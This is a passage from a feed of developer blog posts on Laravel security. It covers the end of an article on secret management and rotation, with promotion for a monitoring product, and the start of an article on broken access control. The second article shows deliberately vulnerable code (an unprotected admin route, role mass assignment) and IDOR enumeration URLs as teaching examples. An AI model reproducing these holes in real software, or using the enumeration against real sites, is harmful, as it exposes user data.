&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// config/services.php&lt;/span&gt;
&lt;span class="s1"&gt;'stripe'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'secret'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'STRIPE_SECRET_KEY'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="s1"&gt;'webhook_secret'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'STRIPE_WEBHOOK_SECRET'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;],&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then access them through &lt;code&gt;config()&lt;/code&gt; in your application code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'services.stripe.secret'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Laravel's encrypted .env&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Recent versions of Laravel support encrypted environment files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Encrypt your .env file  safe to commit the encrypted version&lt;/span&gt;
php artisan &lt;span class="nb"&gt;env&lt;/span&gt;:encrypt

&lt;span class="c"&gt;# Decrypt on the server using the encryption key&lt;/span&gt;
php artisan &lt;span class="nb"&gt;env&lt;/span&gt;:decrypt &lt;span class="nt"&gt;--key&lt;/span&gt;&lt;span class="o"&gt;=[&lt;/span&gt;encryption-key]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This allows you to commit an encrypted &lt;code&gt;.env&lt;/code&gt; file to version control while keeping the decryption key separate. The decryption key itself must be stored and transmitted securely if it is compromised the encrypted file offers no protection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Secret Rotation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Secret rotation means replacing a compromised or expired secret with a new one. Most developers never think about rotation until something goes wrong. By then the window of exposure may already be significant.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rotate immediately when:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A secret was committed to a public repository&lt;/li&gt;
&lt;li&gt;A developer with access to secrets leaves the team&lt;/li&gt;
&lt;li&gt;A third-party service you use reports a breach&lt;/li&gt;
&lt;li&gt;Your server was compromised&lt;/li&gt;
&lt;li&gt;A secret appeared in logs that were accessed without authorization&lt;/li&gt;
&lt;li&gt;You suspect any unauthorized access to a system that holds secrets&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Laravel rotation checklist:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Generate a new value for the compromised secret&lt;/li&gt;
&lt;li&gt;Update &lt;code&gt;.env&lt;/code&gt; on every server&lt;/li&gt;
&lt;li&gt;Update the secret in CI/CD pipelines and deployment configurations&lt;/li&gt;
&lt;li&gt;Revoke the old secret at the source  revoke the API key, change the database password, regenerate the APP_KEY&lt;/li&gt;
&lt;li&gt;Verify the application works with the new secret&lt;/li&gt;
&lt;li&gt;Audit logs for evidence of use of the compromised secret&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The rotation problem most developers ignore:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You cannot rotate a secret you do not know exists. If secrets are scattered across codebases, hardcoded in old scripts, stored in developers' local &lt;code&gt;.env&lt;/code&gt; files, and embedded in CI/CD configurations you cannot reliably rotate them when something goes wrong.&lt;/p&gt;

&lt;p&gt;This is why centralization matters. Every secret in one place, with one rotation process, auditable and controllable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Beyond .env — Secret Management for Production&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For production applications &lt;code&gt;.env&lt;/code&gt; files have real limitations. They are stored in plain text on the server. They are difficult to rotate across multiple servers simultaneously. They are not auditable. They are not versioned.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Options for Laravel in production:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AWS Secrets Manager:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Cache&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;remember&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;'db-secret'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;addMinutes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getSecretValue&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
            &lt;span class="s1"&gt;'SecretId'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'myapp/production/db'&lt;/span&gt;
        &lt;span class="p"&gt;]);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;json_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'SecretString'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the caching  without it every request hits the AWS API, adding latency and cost. Cache secrets locally for a short period and refresh them periodically.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Laravel Forge:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Laravel Forge provides a convenient interface for managing environment variables during deployment, but those values are still stored on the server. Forge simplifies management it is not a dedicated secret manager.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GitHub Actions Secrets and GitLab CI/CD Variables:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For CI/CD pipelines use your platform's built-in secret management rather than storing secrets in pipeline configuration files or repository variables visible to all developers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Secrets Security Checklist&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;.env&lt;/code&gt; is in &lt;code&gt;.gitignore&lt;/code&gt; before the first commit not after&lt;/li&gt;
&lt;li&gt;No secrets are hardcoded anywhere in the codebase&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;APP_DEBUG=false&lt;/code&gt; in all production environments&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$dontFlash&lt;/code&gt; in the exception handler covers every secret field name your application uses&lt;/li&gt;
&lt;li&gt;Secrets are never logged  every &lt;code&gt;Log::&lt;/code&gt; call has been reviewed&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;config()&lt;/code&gt; is used instead of &lt;code&gt;env()&lt;/code&gt; directly in application code&lt;/li&gt;
&lt;li&gt;Every developer who leaves the team triggers immediate secret rotation&lt;/li&gt;
&lt;li&gt;Git history has been audited for accidentally committed secrets&lt;/li&gt;
&lt;li&gt;A rotation plan exists and has been tested for every secret in the application&lt;/li&gt;
&lt;li&gt;Production secrets are stored in a secret manager not a plain text &lt;code&gt;.env&lt;/code&gt; file&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Secret management is never about hiding a single &lt;code&gt;.env&lt;/code&gt; file.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It is about controlling where secrets live, limiting who can access them, rotating them when necessary, and detecting when someone is trying to steal them.&lt;/p&gt;

&lt;p&gt;In production, Kriosa monitors incoming request patterns for behavioral signals of secret probing — requests targeting &lt;code&gt;.env&lt;/code&gt; files, configuration endpoints, backup files, and Git metadata that may expose secrets. When reconnaissance activity targeting your secrets starts, the XAI dashboard surfaces it with an explanation of what was attempted and why it was flagged.&lt;/p&gt;

&lt;p&gt;Prevention reduces exposure. Detection reveals compromise. Mature security requires both.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;kriosa.com&lt;/strong&gt;&lt;br&gt;
Install it: &lt;strong&gt;composer require kriosa-ai/kriosa-php&lt;/strong&gt;&lt;br&gt;
Then add,&lt;/p&gt;

&lt;p&gt;Then at the entry or index.php add at the top before your code runs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="c1"&gt;// After Composer installation&lt;/span&gt;
&lt;span class="k"&gt;require_once&lt;/span&gt; &lt;span class="s1"&gt;'vendor/autoload.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nv"&gt;$apiKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'KRIOSA_API_KEY'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?:&lt;/span&gt; &lt;span class="s1"&gt;'YOUR_API_KEY_HERE'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$kriosa&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Kriosa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$apiKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'timeout'&lt;/span&gt;     &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'debug'&lt;/span&gt;       &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'fail_closed'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'show_badge'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$kriosa&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;protect&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'X-Kriosa-Blocked: true'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Access Denied'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;error_log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Kriosa Security Error: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// Your application continues safely...&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;See Documentation :&lt;a href="https://kriosa.com/documentation.php" rel="noopener noreferrer"&gt; Documentation&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Built by a developer, for developers who want to understand their security — not just outsource it.&lt;/em&gt;&lt;br&gt;
Sleep better we're awale - kriosa&lt;br&gt;
&lt;strong&gt;The Series So Far&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/what-your-php-logs-actually-look-like-during-an-sql-injection-attack-571aa807f5fe" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/why-url-encoding-can-break-php-security-checks-and-what-actually-works-748d2ebc848e" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/the-decode-bomb-problem-why-unlimited-url-decoding-can-be-its-own-vulnerability-b1cad85c17ff" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/parameterized-queries-the-only-real-fix-for-sql-injection-2e7dafc7897b" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked-352101b9243a" rel="noopener noreferrer"&gt;Article 5&lt;/a&gt;: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend-7a618ef40e39" rel="noopener noreferrer"&gt;Article 6&lt;/a&gt;: How attackers enumerate your Laravel app and what to hide&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/file-upload-security-in-php-and-laravel-the-file-that-isnt-what-it-claims-to-be-768c920b26ac" rel="noopener noreferrer"&gt;Article 7&lt;/a&gt;: File upload security in PHP and Laravel&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/path-traversal-in-php-how-escapes-your-application-d401be98239e" rel="noopener noreferrer"&gt;Article 8&lt;/a&gt;: Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/command-injection-in-php-when-exec-becomes-an-attack-surface-eac7736b7637" rel="noopener noreferrer"&gt;Article 9&lt;/a&gt;: Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/broken-access-control-in-laravel-why-being-logged-in-isnt-enough-300308cc3559" rel="noopener noreferrer"&gt;Article 10&lt;/a&gt;: Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;li&gt;Article 11: This article — secrets in Laravel and why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>webdev</category>
      <category>laravel</category>
      <category>php</category>
      <category>security</category>
    </item>
    <item>
      <title>Broken Access Control in Laravel — Why Being Logged In Isn't Enough</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Tue, 04 Aug 2026 10:02:29 +0000</pubDate>
      <link>https://dev.to/kriosa/broken-access-control-in-laravel-why-being-logged-in-isnt-enough-5808</link>
      <guid>https://dev.to/kriosa/broken-access-control-in-laravel-why-being-logged-in-isnt-enough-5808</guid>
      <description>&lt;p&gt;This is the tenth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;File upload security — the file that isn't what it claims to be&lt;/li&gt;
&lt;li&gt;Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle: understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Broken Access Control has been ranked the number one risk in the OWASP Top 10 since 2021. Not the most technically complex. The most common. Because developers assume that if a user is logged in they must be allowed to do what they are trying to do.&lt;/p&gt;

&lt;p&gt;That assumption is wrong every time.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Distinction Most Developers Miss
&lt;/h2&gt;

&lt;p&gt;Authentication and authorization are two completely different things.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authentication&lt;/strong&gt; answers one question: who are you? You log in with your email and password. The system verifies your identity. You get a session.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authorization&lt;/strong&gt; answers a different question: what are you allowed to do? You are logged in — but can you access this specific resource? Can you edit this specific record? Can you see this specific user's data?&lt;/p&gt;

&lt;p&gt;Broken access control happens when authentication works correctly but authorization is missing, incomplete, or wrong.&lt;/p&gt;

&lt;p&gt;A developer who locks the front door but leaves every room inside unlocked has authentication without authorization. The attacker cannot get into the building. But once they are in — as any legitimate user — every unlocked room becomes accessible.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Four Types of Broken Access Control
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. IDOR — Insecure Direct Object Reference
&lt;/h3&gt;

&lt;p&gt;This is the most common and most exploited form of broken access control.&lt;/p&gt;

&lt;p&gt;Your application shows a user their invoice:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/invoices/1234
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The developer checked that the user is logged in. They did not check that invoice 1234 belongs to this user.&lt;/p&gt;

&lt;p&gt;An attacker changes the URL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/invoices/1235
https://yoursite.com/invoices/1236
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They see someone else's invoice. Then another. They enumerate every invoice in your system by incrementing the number. Every customer's billing history. Every order. Every private document.&lt;/p&gt;

&lt;p&gt;In production, this looks like a single authenticated user requesting dozens of sequential resource IDs in a short period. Traditional access logs record the requests but rarely highlight the pattern. Security monitoring tools such as Kriosa can identify this enumeration behavior and flag it as a potential authorization probe long before large amounts of data are exposed.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Missing Function-Level Access Control
&lt;/h3&gt;

&lt;p&gt;A developer protects the admin dashboard with middleware but individual admin functions have no separate authorization check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Route is protected&lt;/span&gt;
&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'auth'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'can:access-admin'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AdminController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'index'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// This API endpoint was added later and has no protection&lt;/span&gt;
&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/api/delete-user'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AdminController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'deleteUser'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A regular user who discovers &lt;code&gt;/api/delete-user&lt;/code&gt; calls it directly — bypassing middleware entirely because the API route was added separately and the developer forgot to protect it.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Privilege Escalation
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Horizontal&lt;/strong&gt; — accessing another user's data at the same privilege level. User A reading User B's messages. Commonly caused by IDOR.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vertical&lt;/strong&gt; — gaining higher privileges than your role allows. A regular user becoming an admin.&lt;/p&gt;

&lt;p&gt;Example of vertical escalation through mass assignment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — user controls their own role&lt;/span&gt;
&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="s1"&gt;'name'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'email'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'role'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;role&lt;/span&gt;  &lt;span class="c1"&gt;// attacker sends role=admin&lt;/span&gt;
&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;role&lt;/code&gt; is not protected from mass assignment an attacker updates their own role to admin through a standard profile update form.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Forced Browsing
&lt;/h3&gt;

&lt;p&gt;An attacker directly accesses URLs that should be restricted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/admin/users          — protected correctly
/admin/export-users   — developer forgot to protect this one
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker discovers &lt;code&gt;/admin/export-users&lt;/code&gt; and downloads your entire user database. No exploit needed. Just a URL the developer forgot to add middleware to.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Laravel Handles Authorization
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Middleware — Who Can Access This Route
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'auth'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;DashboardController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'index'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

